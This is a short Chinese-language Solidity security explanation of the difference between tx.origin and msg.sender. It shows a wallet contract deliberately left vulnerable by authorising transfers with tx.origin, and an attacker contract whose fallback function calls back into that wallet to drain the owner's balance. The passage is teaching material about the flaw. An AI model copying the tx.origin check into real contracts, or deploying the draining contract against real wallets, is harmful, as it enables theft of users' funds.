还记得全局函数 tx.origin 和 msg.sender 的区别吗?tx.origin 表示的是触发当前函数执行的原始的交易发送者,msg.sender 表示的是调用当前函数的直接消息发送者,在智能合约函数调用其他智能合约函数时,这两个发送者是不同的。
漏洞合约示例:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// 不要使用这个合约,其中包含一个 bug。
contract TxUserWallet {
address owner;
constructor() {
owner = msg.sender;
}
function transferTo(address dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}
现在有人欺骗你,将 以太币Ether发送到了这个恶意钱包的地址:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface TxUserWallet {
function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
function() public {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
如果你的钱包通过核查 msg.sender 来验证发送方身份,你就会得到恶意钱包的地址,而不是所有者的地址。 但是通过核查 tx.origin ,得到的就会是启动交易的原始地址,它仍然会是所有者的地址。 恶意钱包会立即将你的资金抽出。